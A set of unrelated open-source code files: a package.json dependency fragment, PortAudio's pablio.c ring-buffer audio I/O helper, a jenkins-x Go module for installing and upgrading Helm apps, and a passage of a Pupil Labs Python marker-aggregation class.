"rollup-plugin-commonjs": "^10.1.0",
"rollup-plugin-filesize": "^6.2.0",
"rollup-plugin-license": "^0.12.1",
"rollup-plugin-node-resolve": "^5.2.0",
"rollup-plugin-replace": "^2.2.0",
"rollup-plugin-uglify": "^6.0.3",
"typescript": "^3.6.3",
"webpack": "^4.41.0",
"webpack-cli": "^3.3.9",
"webpack-dev-server": "^3.8.2"
},
"peerDependencies": {
"react": "^0.14 || ^15.0.0-rc || ^15.0.0 || ^16.0.0-rc || ^16.0.0",
"react-dom": "^0.14 || ^15.0.0-rc || ^15.0.0 || ^16.0.0-rc || ^16.0.0"
},
"dependencies": {
"prop-types": "^15.7.2"
}
}
| {
"pile_set_name": "Github"
} |
/*
* pablio.c
* Portable Audio Blocking Input/Output utility.
*
* Author: Phil Burk, http://www.softsynth.com
*
* This program uses the PortAudio Portable Audio Library.
* For more information see: http://www.audiomulch.com/portaudio/
* Copyright (c) 1999-2000 Ross Bencina and Phil Burk
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files
* (the "Software"), to deal in the Software without restriction,
* including without limitation the rights to use, copy, modify, merge,
* publish, distribute, sublicense, and/or sell copies of the Software,
* and to permit persons to whom the Software is furnished to do so,
* subject to the following conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* Any person wishing to distribute modifications to the Software is
* requested to send the modifications to the original developer so that
* they can be incorporated into the canonical version.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR
* ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF
* CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
* WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
*/
/* changes by Miller Puckette to support Pd: device selection,
settable audio buffer size, and settable number of channels.
LATER also fix it to poll for input and output fifo fill points. */
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include "portaudio.h"
#include "s_audio_paring.h"
#include "s_audio_pablio.h" /* MSP */
#include <string.h>
/* MSP -- FRAMES_PER_BUFFER constant removed */
static void NPa_Sleep(int n) /* MSP wrapper to check we never stall... */
{
#if 0
fprintf(stderr, "sleep\n");
#endif
Pa_Sleep(n);
}
/************************************************************************/
/******** Prototypes ****************************************************/
/************************************************************************/
static int blockingIOCallback( const void *inputBuffer, void *outputBuffer, /*MSP */
unsigned long framesPerBuffer,
const PaStreamCallbackTimeInfo *outTime,
PaStreamCallbackFlags myflags,
void *userData );
static PaError PABLIO_InitFIFO( sys_ringbuf *rbuf, long numFrames, long bytesPerFrame );
static PaError PABLIO_TermFIFO( sys_ringbuf *rbuf );
/************************************************************************/
/******** Functions *****************************************************/
/************************************************************************/
/* Called from PortAudio.
* Read and write data only if there is room in FIFOs.
*/
static int blockingIOCallback( const void *inputBuffer, void *outputBuffer, /* MSP */
unsigned long framesPerBuffer,
const PaStreamCallbackTimeInfo *outTime,
PaStreamCallbackFlags myflags,
void *userData )
{
PABLIO_Stream *data = (PABLIO_Stream*)userData;
(void) outTime;
/* This may get called with NULL inputBuffer during initial setup. */
if( inputBuffer != NULL )
{
sys_ringbuf_Write( &data->inFIFO, inputBuffer,
data->inbytesPerFrame * framesPerBuffer );
}
if( outputBuffer != NULL )
{
int i;
int numBytes = data->outbytesPerFrame * framesPerBuffer;
int numRead = sys_ringbuf_Read( &data->outFIFO, outputBuffer,
numBytes);
/* Zero out remainder of buffer if we run out of data. */
for( i=numRead; i<numBytes; i++ )
{
((char *)outputBuffer)[i] = 0;
}
}
return 0;
}
/* Allocate buffer. */
static PaError PABLIO_InitFIFO( sys_ringbuf *rbuf, long numFrames, long bytesPerFrame )
{
long numBytes = numFrames * bytesPerFrame;
char *buffer = (char *) malloc( numBytes );
if( buffer == NULL ) return paInsufficientMemory;
memset( buffer, 0, numBytes );
return (PaError) sys_ringbuf_Init( rbuf, numBytes, buffer );
}
/* Free buffer. */
static PaError PABLIO_TermFIFO( sys_ringbuf *rbuf )
{
if( rbuf->buffer ) free( rbuf->buffer );
rbuf->buffer = NULL;
return paNoError;
}
/************************************************************
* Write data to ring buffer.
* Will not return until all the data has been written.
*/
long WriteAudioStream( PABLIO_Stream *aStream, void *data, long numFrames )
{
long bytesWritten;
char *p = (char *) data;
long numBytes = aStream->outbytesPerFrame * numFrames;
while( numBytes > 0)
{
bytesWritten = sys_ringbuf_Write( &aStream->outFIFO, p, numBytes );
numBytes -= bytesWritten;
p += bytesWritten;
if( numBytes > 0) NPa_Sleep(10); /* MSP */
}
return numFrames;
}
/************************************************************
* Read data from ring buffer.
* Will not return until all the data has been read.
*/
long ReadAudioStream( PABLIO_Stream *aStream, void *data, long numFrames )
{
long bytesRead;
char *p = (char *) data;
long numBytes = aStream->inbytesPerFrame * numFrames;
while( numBytes > 0)
{
bytesRead = sys_ringbuf_Read( &aStream->inFIFO, p, numBytes );
numBytes -= bytesRead;
p += bytesRead;
if( numBytes > 0) NPa_Sleep(10); /* MSP */
}
return numFrames;
}
/************************************************************
* Return the number of frames that could be written to the stream without
* having to wait.
*/
long GetAudioStreamWriteable( PABLIO_Stream *aStream )
{
int bytesEmpty = sys_ringbuf_GetWriteAvailable( &aStream->outFIFO );
return bytesEmpty / aStream->outbytesPerFrame;
}
/************************************************************
* Return the number of frames that are available to be read from the
* stream without having to wait.
*/
long GetAudioStreamReadable( PABLIO_Stream *aStream )
{
int bytesFull = sys_ringbuf_GetReadAvailable( &aStream->inFIFO );
return bytesFull / aStream->inbytesPerFrame;
}
/************************************************************/
static unsigned long RoundUpToNextPowerOf2( unsigned long n )
{
long numBits = 0;
if( ((n-1) & n) == 0) return n; /* Already Power of two. */
while( n > 0 )
{
n= n>>1;
numBits++;
}
return (1<<numBits);
}
/************************************************************
* Opens a PortAudio stream with default characteristics.
* Allocates PABLIO_Stream structure.
*
* flags parameter can be an ORed combination of:
* PABLIO_READ, PABLIO_WRITE, or PABLIO_READ_WRITE
*/
PaError OpenAudioStream( PABLIO_Stream **rwblPtr, double sampleRate,
PaSampleFormat format, int inchannels,
int outchannels, int framesperbuf, int nbuffers,
int indeviceno, int outdeviceno) /* MSP */
{
long bytesPerSample;
long doRead = 0;
long doWrite = 0;
PaError err;
PABLIO_Stream *aStream;
long numFrames;
PaStreamParameters instreamparams, outstreamparams; /* MSP */
/* fprintf(stderr,
"open %lf fmt %d flags %d ch: %d fperbuf: %d nbuf: %d devs: %d %d\n",
sampleRate, format, flags, nchannels,
framesperbuf, nbuffers, indeviceno, outdeviceno); */
if (indeviceno < 0) /* MSP... */
{
indeviceno = Pa_GetDefaultInputDevice();
fprintf(stderr, "using default input device number: %d\n", indeviceno);
}
if (outdeviceno < 0)
{
outdeviceno = Pa_GetDefaultOutputDevice();
fprintf(stderr, "using default output device number: %d\n", outdeviceno);
}
/* fprintf(stderr, "nchan %d, flags %d, bufs %d, framesperbuf %d\n",
nchannels, flags, nbuffers, framesperbuf); */
/* ...MSP */
/* Allocate PABLIO_Stream structure for caller. */
aStream = (PABLIO_Stream *) malloc( sizeof(PABLIO_Stream) );
if( aStream == NULL ) return paInsufficientMemory;
memset( aStream, 0, sizeof(PABLIO_Stream) );
/* Determine size of a sample. */
bytesPerSample = Pa_GetSampleSize( format );
if( bytesPerSample < 0 )
{
err = (PaError) bytesPerSample;
goto error;
}
aStream->insamplesPerFrame = inchannels; /* MSP */
aStream->inbytesPerFrame = bytesPerSample * aStream->insamplesPerFrame;
aStream->outsamplesPerFrame = outchannels;
aStream->outbytesPerFrame = bytesPerSample * aStream->outsamplesPerFrame;
/* Initialize PortAudio */
err = Pa_Initialize();
if( err != paNoError ) goto error;
numFrames = nbuffers * framesperbuf; /* ...MSP */
instreamparams.device = indeviceno; /* MSP... */
instreamparams.channelCount = inchannels;
instreamparams.sampleFormat = format;
instreamparams.suggestedLatency = nbuffers*framesperbuf/sampleRate;
instreamparams.hostApiSpecificStreamInfo = 0;
outstreamparams.device = outdeviceno;
outstreamparams.channelCount = outchannels;
outstreamparams.sampleFormat = format;
outstreamparams.suggestedLatency = nbuffers*framesperbuf/sampleRate;
outstreamparams.hostApiSpecificStreamInfo = 0; /* ... MSP */
numFrames = nbuffers * framesperbuf;
/* fprintf(stderr, "numFrames %d\n", numFrames); */
/* Initialize Ring Buffers */
doRead = (inchannels != 0);
doWrite = (outchannels != 0);
if(doRead)
{
err = PABLIO_InitFIFO( &aStream->inFIFO, numFrames,
aStream->inbytesPerFrame );
if( err != paNoError ) goto error;
}
if(doWrite)
{
long numBytes;
err = PABLIO_InitFIFO( &aStream->outFIFO, numFrames,
aStream->outbytesPerFrame );
if( err != paNoError ) goto error;
/* Make Write FIFO appear full initially. */
numBytes = sys_ringbuf_GetWriteAvailable( &aStream->outFIFO );
sys_ringbuf_AdvanceWriteIndex( &aStream->outFIFO, numBytes );
}
/* Open a PortAudio stream that we will use to communicate with the underlying
* audio drivers. */
err = Pa_OpenStream(
&aStream->stream,
(doRead ? &instreamparams : 0), /* MSP */
(doWrite ? &outstreamparams : 0), /* MSP */
sampleRate,
framesperbuf, /* MSP */
paNoFlag, /* MSP -- portaudio will clip for us */
blockingIOCallback,
aStream );
if( err != paNoError ) goto error;
err = Pa_StartStream( aStream->stream );
if( err != paNoError ) /* MSP */
{
fprintf(stderr, "Pa_StartStream failed; closing audio stream...\n");
CloseAudioStream( aStream );
goto error;
}
*rwblPtr = aStream;
return paNoError;
error:
*rwblPtr = NULL;
return err;
}
/************************************************************/
PaError CloseAudioStream( PABLIO_Stream *aStream )
{
PaError err;
int bytesEmpty;
int byteSize = aStream->outFIFO.bufferSize;
err = Pa_StopStream( aStream->stream );
if( err != paNoError ) goto error;
err = Pa_CloseStream( aStream->stream );
if( err != paNoError ) goto error;
error:
PABLIO_TermFIFO( &aStream->inFIFO );
PABLIO_TermFIFO( &aStream->outFIFO );
free( aStream );
return err;
}
| {
"pile_set_name": "Github"
} |
package apps
import (
"encoding/base64"
"encoding/json"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"time"
"github.com/jenkins-x/jx/v2/pkg/kube/naming"
rbacv1 "k8s.io/api/rbac/v1"
corev1 "k8s.io/api/core/v1"
"github.com/jenkins-x/jx/v2/pkg/kube"
"github.com/google/uuid"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
jenkinsv1 "github.com/jenkins-x/jx-api/pkg/apis/jenkins.io/v1"
"github.com/jenkins-x/jx-api/pkg/client/clientset/versioned"
"github.com/jenkins-x/jx/v2/pkg/environments"
"github.com/jenkins-x/jx/v2/pkg/gits"
"github.com/jenkins-x/jx/v2/pkg/vault"
"k8s.io/client-go/kubernetes"
"github.com/jenkins-x/jx-logging/pkg/log"
"github.com/jenkins-x/jx/v2/pkg/helm"
"github.com/jenkins-x/jx/v2/pkg/util"
"github.com/pkg/errors"
)
// InstallOptions are shared options for installing, removing or upgrading apps for either GitOps or HelmOps
type InstallOptions struct {
Helmer helm.Helmer
KubeClient kubernetes.Interface
InstallTimeout string
JxClient versioned.Interface
Namespace string
EnvironmentCloneDir string
GitProvider gits.GitProvider
Gitter gits.Gitter
Verbose bool
DevEnv *jenkinsv1.Environment
BatchMode bool
IOFileHandles util.IOFileHandles
GitOps bool
TeamName string
BasePath string
VaultClient vault.Client
AutoMerge bool
SecretsScheme string
valuesFiles *environments.ValuesFiles // internal variable used to track, most be passed in
}
// AddApp adds the app at a particular version (
// or latest if not specified) from the repository with username and password. A releaseName can be specified.
// Values can be passed with in files or as a slice of name=value pairs. An alias can be specified.
// GitOps or HelmOps will be automatically chosen based on the o.GitOps flag
func (o *InstallOptions) AddApp(app string, version string, repository string, username string, password string,
releaseName string, valuesFiles []string, setValues []string, alias string, helmUpdate bool) error {
o.valuesFiles = &environments.ValuesFiles{
Items: valuesFiles,
}
username, password, err := helm.DecorateWithCredentials(repository, username, password, o.VaultClient, o.IOFileHandles)
if err != nil {
return errors.Wrapf(err, "locating credentials for %s", repository)
}
_, err = helm.AddHelmRepoIfMissing(repository, "", username, password, o.Helmer, o.VaultClient, o.IOFileHandles)
if err != nil {
return errors.Wrapf(err, "adding helm repo")
}
chartName, err := o.resolvePrefixesAgainstRepos(repository, app)
if err != nil {
return errors.WithStack(err)
}
if chartName == "" {
return errors.Errorf("unable to find %s in %s", app, repository)
}
// The chart inspector allows us to operate on the unpacked chart.
// We need to ask questions then as we have access to the schema, and can add secrets.
interrogateChartFn := o.createInterrogateChartFn(version, chartName, repository, username, password, alias, true)
// Called whilst the chart is unpacked and modifiable
installAppFunc := func(dir string) error {
//Ask the questions, this is an install, so no existing values
chartDetails, err := interrogateChartFn(dir, make(map[string]interface{}))
defer chartDetails.Cleanup()
if err != nil {
return err
}
if o.GitOps {
opts := GitOpsOptions{
InstallOptions: o,
}
err = opts.AddApp(chartDetails.Name, dir, chartDetails.Version, repository, alias, o.AutoMerge)
if err != nil {
return errors.Wrapf(err, "adding app %s version %s with alias %s using gitops", chartName, version, alias)
}
} else {
opts := HelmOpsOptions{
InstallOptions: o,
}
if releaseName == "" {
releaseName = fmt.Sprintf("%s-%s", o.Namespace, chartDetails.Name)
}
chartFromGit, _ := helm.IsGitURL(chartName)
if helm.IsLocal(chartName) || chartFromGit {
// We need to manually build the dependencies
err = opts.Helmer.BuildDependency()
if err != nil {
return errors.Wrapf(err, "building dependencies for %s", chartName)
}
}
err = opts.AddApp(chartName, dir, chartDetails.Name, chartDetails.Version, chartDetails.Values, repository,
username, password,
releaseName,
setValues,
helmUpdate)
if err != nil {
errStr := fmt.Sprintf("adding app %s version %s using helm", chartName, version)
if alias != "" {
errStr = fmt.Sprintf("%s with alias %s", errStr, alias)
}
errStr = fmt.Sprintf("%s with helm", errStr)
return errors.Wrap(err, errStr)
}
}
return nil
}
// Do the actual work
return helm.InspectChart(chartName, version, repository, username, password, o.Helmer, installAppFunc)
}
//GetApps gets a list of installed apps
func (o *InstallOptions) GetApps(appNames []string) (apps *jenkinsv1.AppList, err error) {
prefixes := o.getPrefixes()
in := make([]string, 0)
appsMap := make(map[string]bool)
for _, prefix := range prefixes {
for _, appName := range appNames {
completeAppName := fmt.Sprintf("%s%s", prefix, appName)
in = append(in, completeAppName)
appsMap[completeAppName] = true
}
}
helmOpts := HelmOpsOptions{
InstallOptions: o,
}
if o.GitOps {
opts := GitOpsOptions{
InstallOptions: o,
}
return opts.GetApps(appsMap, helmOpts.getAppsFromCRDAPI)
}
return helmOpts.getAppsFromCRDAPI(in)
}
//DeleteApp deletes the app. An alias and releaseName can be specified. GitOps or HelmOps will be automatically chosen based on the o.GitOps flag
func (o *InstallOptions) DeleteApp(app string, alias string, releaseName string, purge bool) error {
o.valuesFiles = &environments.ValuesFiles{
Items: make([]string, 0),
}
apps, err := o.GetApps([]string{app})
if err != nil {
return errors.WithStack(err)
}
if len(apps.Items) == 0 {
return errors.Errorf("No app found for %s", app)
}
chartName := apps.Items[0].Labels[helm.LabelAppName]
if o.GitOps {
opts := GitOpsOptions{
InstallOptions: o,
}
err := opts.DeleteApp(chartName, alias, o.AutoMerge)
if err != nil {
return err
}
} else {
opts := HelmOpsOptions{
InstallOptions: o,
}
err = opts.DeleteApp(chartName, releaseName, true)
if err != nil {
return err
}
}
return nil
}
// UpgradeApp upgrades the app (or all apps if empty) to a particular version (
// or the latest if not specified) from the repository with username and password. An alias can be specified.
// GitOps or HelmOps will be automatically chosen based on the o.GitOps flag
func (o *InstallOptions) UpgradeApp(app string, version string, repository string, username string, password string,
releaseName string, alias string, update bool, askExisting bool) error {
o.valuesFiles = &environments.ValuesFiles{
Items: make([]string, 0),
}
if releaseName == "" {
releaseName = fmt.Sprintf("%s-%s", o.Namespace, app)
}
username, password, err := helm.DecorateWithCredentials(repository, username, password, o.VaultClient, o.IOFileHandles)
if err != nil {
return errors.Wrapf(err, "locating credentials for %s", repository)
}
_, err = helm.AddHelmRepoIfMissing(repository, "", username, password, o.Helmer, o.VaultClient, o.IOFileHandles)
if err != nil {
return errors.Wrapf(err, "adding helm repo")
}
chartName := ""
// empty app means upgrade all
if app != "" {
chartName, err = o.resolvePrefixesAgainstRepos(repository, app)
if err != nil {
return errors.WithStack(err)
}
if chartName == "" {
return errors.Errorf("unable to find %s in %s", chartName, repository)
}
}
interrogateChartFunc := o.createInterrogateChartFn(version, app, repository, username, password, alias, askExisting)
// The chart inspector allows us to operate on the unpacked chart.
// We need to ask questions then as we have access to the schema, and can add secrets.
if o.GitOps {
opts := GitOpsOptions{
InstallOptions: o,
}
// Asking questions is a bit more complex in this case as the existing values file is in the environment
// repo, so we need to ask questions once we have that repo available
err := opts.UpgradeApp(chartName, version, repository, username, password, alias, interrogateChartFunc, o.AutoMerge)
if err != nil {
return err
}
} else {
upgradeAppFunc := func(dir string) error {
// Try to load existing answers from the apps CRD
appCrdName := fmt.Sprintf("%s-%s", releaseName, chartName)
appResource, err := o.JxClient.JenkinsV1().Apps(o.Namespace).Get(appCrdName, metav1.GetOptions{})
if err != nil {
return errors.Wrapf(err, "getting App CRD %s", appResource.Name)
}
var existingValues map[string]interface{}
if appResource.Annotations != nil {
if encodedValues, ok := appResource.Annotations[ValuesAnnotation]; ok && encodedValues != "" {
existingValuesBytes, err := base64.StdEncoding.DecodeString(encodedValues)
if err != nil {
log.Logger().Warnf("Error decoding base64 encoded string from %s on %s\n%s", ValuesAnnotation,
appCrdName, encodedValues)
}
err = json.Unmarshal(existingValuesBytes, &existingValues)
if err != nil {
return errors.Wrapf(err, "unmarshaling %s", string(existingValuesBytes))
}
}
}
// Ask the questions
chartDetails, err := interrogateChartFunc(dir, existingValues)
defer chartDetails.Cleanup()
if err != nil {
return errors.Wrapf(err, "asking questions")
}
opts := HelmOpsOptions{
InstallOptions: o,
}
err = opts.UpgradeApp(chartName, version, repository, username, password, releaseName, alias, update)
if err != nil {
return err
}
return nil
}
// Do the actual work
err := helm.InspectChart(chartName, version, repository, username, password, o.Helmer, upgradeAppFunc)
if err != nil {
return err
}
}
return nil
}
// ChartDetails are details about a chart returned by the chart interrogator
type ChartDetails struct {
Values []byte
Version string
Name string
Cleanup func()
}
func (o *InstallOptions) createInterrogateChartFn(version string, chartName string, repository string, username string,
password string, alias string, askExisting bool) func(chartDir string,
existing map[string]interface{}) (*ChartDetails, error) {
return func(chartDir string, existing map[string]interface{}) (*ChartDetails, error) {
var schema []byte
chartDetails := ChartDetails{
Cleanup: func() {},
}
chartyamlpath := filepath.Join(chartDir, "Chart.yaml")
if _, err := os.Stat(chartyamlpath); err == nil {
loadedName, loadedVersion, err := helm.LoadChartNameAndVersion(chartyamlpath)
if err != nil {
return &chartDetails, errors.Wrapf(err, "error loading chart from %s", chartDir)
}
chartDetails.Name = loadedName
chartDetails.Version = loadedVersion
} else {
chartDetails.Name = chartName
chartDetails.Version = version
}
requirements, err := helm.LoadRequirementsFile(filepath.Join(chartDir, helm.RequirementsFileName))
if err != nil {
return &chartDetails, errors.Wrapf(err, "loading requirements.yaml for %s", chartDir)
}
for _, requirement := range requirements.Dependencies {
// repositories that start with an @ are aliases to helm repo names
if !strings.HasPrefix(requirement.Repository, "@") {
_, err := helm.AddHelmRepoIfMissing(requirement.Repository, "", "", "", o.Helmer, o.VaultClient, o.IOFileHandles)
if err != nil {
return &chartDetails, errors.Wrapf(err, "")
}
}
}
if version == "" {
if o.Verbose {
log.Logger().Infof("No version specified so using latest version which is %s",
util.ColorInfo(chartDetails.Version))
}
}
schemaFile := filepath.Join(chartDir, "values.schema.json")
if _, err := os.Stat(schemaFile); !os.IsNotExist(err) {
schema, err = ioutil.ReadFile(schemaFile)
if err != nil {
return &chartDetails, errors.Wrapf(err, "error reading schema file %s", schemaFile)
}
}
var values []byte
if schema != nil {
if o.valuesFiles != nil && len(o.valuesFiles.Items) > 0 {
log.Logger().Warnf("values.yaml specified by --valuesFiles will be used despite presence of schema in app")
}
appResource, _, err := environments.LocateAppResource(o.Helmer, chartDir, chartDetails.Name)
if err != nil {
return &chartDetails, errors.Wrapf(err, "locating app resource in %s", chartDir)
}
if appResource.Spec.SchemaPreprocessor != nil {
// Generate a new UUID and get it's string form for use later
id := uuid.New().String()
cmName := toValidName(chartDetails.Name, "schema", id)
cm := corev1.ConfigMap{
ObjectMeta: metav1.ObjectMeta{
Name: cmName,
},
Data: map[string]string{
"values.schema.json": string(schema),
},
}
_, err := o.KubeClient.CoreV1().ConfigMaps(o.Namespace).Create(&cm)
defer func() {
err := o.KubeClient.CoreV1().ConfigMaps(o.Namespace).Delete(cmName, &metav1.DeleteOptions{})
if err != nil {
log.Logger().Errorf("error removing configmap %s: %v", cmName, err)
}
}()
if err != nil {
return &chartDetails, errors.Wrapf(err, "creating configmap %s for values.schema."+
"json preprocessing", cmName)
}
// We launch this as a pod in the cluster, mounting the values.schema.json
if appResource.Spec.SchemaPreprocessor.Env == nil {
appResource.Spec.SchemaPreprocessor.Env = make([]corev1.EnvVar, 0)
}
appResource.Spec.SchemaPreprocessor.Env = append(appResource.Spec.SchemaPreprocessor.
Env, corev1.EnvVar{
Name: "VALUES_SCHEMA_JSON_CONFIG_MAP_NAME",
Value: cmName,
})
serviceAccountName := toValidName(chartName, "schema-sa%s", id)
role := &rbacv1.Role{
ObjectMeta: metav1.ObjectMeta{
Name: toValidName(chartName, "schema-role", id),
},
Rules: []rbacv1.PolicyRule{
{
APIGroups: []string{
corev1.GroupName,
},
Resources: []string{
"configmaps",
},
Verbs: []string{
"get",
"update",
"delete",
},
ResourceNames: []string{
cmName,
},
},
},
}
if appResource.Spec.SchemaPreprocessor.Name == "" {
appResource.Spec.SchemaPreprocessor.Name = "preprocessor"
}
if appResource.Spec.SchemaPreprocessorRole != nil {
role = appResource.Spec.SchemaPreprocessorRole
}
_, err = o.KubeClient.RbacV1().Roles(o.Namespace).Create(role)
defer func() {
err := o.KubeClient.RbacV1().Roles(o.Namespace).Delete(role.Name, &metav1.DeleteOptions{})
if err != nil {
log.Logger().Errorf("Error deleting role %s created for values.schema.json preprocessing: %v",
role.Name, err)
}
}()
if err != nil {
return &chartDetails, errors.Wrapf(err, "creating role %s for values.schema.json preprocessing",
role.Name)
}
serviceAccount := &corev1.ServiceAccount{
ObjectMeta: metav1.ObjectMeta{
Name: serviceAccountName,
},
}
_, err = o.KubeClient.CoreV1().ServiceAccounts(o.Namespace).Create(serviceAccount)
defer func() {
err := o.KubeClient.CoreV1().ServiceAccounts(o.Namespace).Delete(serviceAccountName, &metav1.DeleteOptions{})
if err != nil {
log.Logger().Errorf("Error deleting serviceaccount %s created for values.schema.json preprocessing: %v",
serviceAccountName, err)
}
}()
if err != nil {
return &chartDetails, errors.Wrapf(err, "creating serviceaccount %s for values.schema."+
"json preprocessing: %v", serviceAccountName, err)
}
roleBinding := rbacv1.RoleBinding{
ObjectMeta: metav1.ObjectMeta{
Name: toValidName(chartName, "schema-rolebinding", id),
},
RoleRef: rbacv1.RoleRef{
APIGroup: rbacv1.GroupName,
Name: role.Name,
Kind: "Role",
},
Subjects: []rbacv1.Subject{
{
Kind: rbacv1.ServiceAccountKind,
Name: serviceAccountName,
Namespace: o.Namespace,
APIGroup: corev1.GroupName,
},
},
}
_, err = o.KubeClient.RbacV1().RoleBindings(o.Namespace).Create(&roleBinding)
defer func() {
err := o.KubeClient.RbacV1().RoleBindings(o.Namespace).Delete(roleBinding.Name,
&metav1.DeleteOptions{})
if err != nil {
log.Logger().Errorf("Error deleting rolebinding %s for values.schema.json preprocessing: %v",
roleBinding.Name, err)
}
}()
pod := corev1.Pod{
ObjectMeta: metav1.ObjectMeta{
Name: toValidName(chartName, "values-preprocessor", id),
},
Spec: corev1.PodSpec{
Containers: []corev1.Container{
*appResource.Spec.SchemaPreprocessor,
},
ServiceAccountName: serviceAccountName,
RestartPolicy: corev1.RestartPolicyNever,
},
}
log.Logger().Infof("Preparing questions to configure %s. "+
"If this is the first time you have installed the app, this may take a couple of minutes.",
chartDetails.Name)
_, err = o.KubeClient.CoreV1().Pods(o.Namespace).Create(&pod)
defer func() {
err := o.KubeClient.CoreV1().Pods(o.Namespace).Delete(pod.Name,
&metav1.DeleteOptions{})
if err != nil {
log.Logger().Errorf("Error deleting pod %s for values.schema.json preprocessing: %v",
pod.Name, err)
}
}()
if err != nil {
return &chartDetails, errors.Wrapf(err, "creating pod %s for values.schema.json proprocessing",
pod.Name)
}
timeout, err := time.ParseDuration(fmt.Sprintf("%ss", o.InstallTimeout))
if err != nil {
return &chartDetails, errors.Wrapf(err, "invalid timeout %s", o.InstallTimeout)
}
err = kube.WaitForPodNameToBeComplete(o.KubeClient, o.Namespace, pod.Name, timeout)
if err != nil {
return &chartDetails, errors.Wrapf(err, "waiting for %s to complete for values.schema."+
"json preprocessing",
pod.Name)
}
completePod, err := o.KubeClient.CoreV1().Pods(o.Namespace).Get(pod.Name, metav1.GetOptions{})
if err != nil {
return &chartDetails, errors.Wrapf(err, "getting pod %s", pod.Name)
}
if kube.PodStatus(completePod) == string(corev1.PodFailed) {
log.Logger().Errorf("Pod Log")
log.Logger().Errorf("-----------")
err := kube.TailLogs(o.Namespace, pod.Name, appResource.Spec.SchemaPreprocessor.Name, o.IOFileHandles.Err, o.IOFileHandles.Out)
log.Logger().Errorf("-----------")
if err != nil {
return &chartDetails, errors.Wrapf(err, "getting pod logs for %s container %s", pod.Name,
appResource.Spec.SchemaPreprocessor.Name)
}
return &chartDetails, errors.Errorf("failed to prepare questions")
}
log.Logger().Infof("Questions prepared.")
newCm, err := o.KubeClient.CoreV1().ConfigMaps(o.Namespace).Get(cmName, metav1.GetOptions{})
if err != nil {
return &chartDetails, errors.Wrapf(err, "getting configmap %s for values.schema."+
"json preprocessing", cmName)
}
if v, ok := newCm.Data["values.schema.json"]; !ok {
return &chartDetails, errors.Errorf("no key values.schema.json in configmap %s for values.schema."+
"json preprocessing", cmName)
} else {
schema = []byte(v)
}
}
gitOpsURL := ""
if o.GitOps {
gitOpsURL = o.DevEnv.Spec.Source.URL
}
if schema != nil {
valuesFileName, cleanup, err := ProcessValues(schema, chartName, gitOpsURL, o.TeamName, o.BasePath, o.BatchMode, askExisting, o.VaultClient, existing, o.SecretsScheme, o.IOFileHandles, o.Verbose)
chartDetails.Cleanup = cleanup
if err != nil {
return &chartDetails, errors.WithStack(err)
}
if valuesFileName != "" {
o.valuesFiles.Items = append(o.valuesFiles.Items, valuesFileName)
}
values, err = ioutil.ReadFile(valuesFileName)
if err != nil {
return &chartDetails, errors.Wrapf(err, "reading %s", valuesFileName)
}
}
}
chartDetails.Values = values
return &chartDetails, nil
}
}
func toValidName(appName string, name string, id string) string {
base := fmt.Sprintf("%s-%s", name, appName)
l := len(base)
if l > 20 {
l = 20
}
return naming.ToValidName(fmt.Sprintf("%s-%s", base[0:l], id))
}
func (o *InstallOptions) getPrefixes() []string {
// Set the default prefixes
prefixes := o.DevEnv.Spec.TeamSettings.AppsPrefixes
if prefixes == nil {
prefixes = []string{
"jx-app-",
}
}
prefixes = append(prefixes, "")
return prefixes
}
func (o *InstallOptions) resolvePrefixesAgainstRepos(repository string, chartName string) (string, error) {
prefixes := o.getPrefixes()
// Create the short chart name
repos, err := o.Helmer.ListRepos()
if err != nil {
return "", errors.Wrapf(err, "listing helm repos")
}
possiblesRepoNames := make([]string, 0)
for repo, url := range repos {
if url == repository {
possiblesRepoNames = append(possiblesRepoNames, repo)
}
}
charts, err := o.Helmer.SearchCharts("", false)
if err != nil {
return "", errors.Wrapf(err, "searching charts")
}
for _, prefix := range prefixes {
for _, possibleRepoName := range possiblesRepoNames {
fullName := fmt.Sprintf("%s/%s%s", possibleRepoName, prefix, chartName)
for _, chart := range charts {
if chart.Name == fullName {
// Chart found!
return fmt.Sprintf("%s%s", prefix, chartName), nil
}
}
}
}
return chartName, nil
}
| {
"pile_set_name": "Github"
} |
"""
(*)~---------------------------------------------------------------------------
Pupil - eye tracking platform
Copyright (C) 2012-2020 Pupil Labs
Distributed under the terms of the GNU
Lesser General Public License (LGPL v3.0).
See COPYING and COPYING.LESSER for license details.
---------------------------------------------------------------------------~(*)
"""
import typing
import numpy as np
from .surface_marker import Surface_Marker_UID
class Surface_Marker_Aggregate(object):
"""
Stores a list of detections of a specific square marker and aggregates them over
time to get a more robust localisation.
A marker detection is represented by the location of the marker vertices. The
vertices are expected to be in normalized surface coordinates, unlike the
vertices of a regular Marker, which are located in image pixel space.
"""
@staticmethod
def property_equality(
x: "Surface_Marker_Aggregate", y: "Surface_Marker_Aggregate"
) -> bool:
def property_dict(x: Surface_Marker_Aggregate) -> dict:
x_dict = x.__dict__.copy()
x_dict["_verts_uv"] = x_dict["_verts_uv"].tolist()
return x_dict
return property_dict(x) == property_dict(y)
def __init__(
self, uid: Surface_Marker_UID, verts_uv: typing.Optional[np.ndarray] = None
):
self._uid = uid
self._verts_uv = None
self._observations = []
if verts_uv is not None:
self._verts_uv = np.asarray(verts_uv)
def __eq__(self, other):
return Surface_Marker_Aggregate.property_equality(self, other)
@property
def uid(self) -> Surface_Marker_UID:
return self._uid
@property
def verts_uv(self) -> typing.Optional[np.ndarray]:
return self._verts_uv
@verts_uv.setter
def verts_uv(self, new_value: np.ndarray):
self._verts_uv = new_value
@property
def observations(self) -> list:
return self._observations
def add_observation(self, verts_uv):
self._observations.append(verts_uv)
self._compute_robust_mean()
def _compute_robust_mean(self):
# uv is of shape (N, 4, 2) where N is the number of collected observations
uv = np.asarray(self._observations)
